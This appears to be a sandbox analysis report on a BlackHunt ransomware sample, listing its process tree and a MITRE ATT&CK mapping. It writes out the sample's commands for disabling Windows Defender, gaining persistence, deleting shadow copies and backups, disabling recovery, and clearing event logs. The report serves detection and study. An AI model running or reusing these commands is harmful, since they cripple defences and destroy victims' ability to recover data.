  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5104
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2864
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4656
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:1616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:3396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:820
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:4664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:4908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3172
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:3160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:4212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1428
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4408
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4200
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2316
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:4988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:984
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:4708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2152
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:4720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe" /F
  2⤵
  PID:4896
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fa81a05acbea0b42d94d0410344d84b7801bac4404fd824775d38c9c49879f01.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1660
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2772
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:3448
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4600
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:6016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2836
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:6024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1140
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1664
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3288
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1728
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4288
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1616
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:5032
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:6084
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:5648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:208
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:4068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:4532
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    PID:3532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:6036
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:1240
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:456
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3780
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3092
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4244
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3248
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:5180
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5056
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:5232
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:5244
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5612

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3308

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:852

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4644

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:5296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery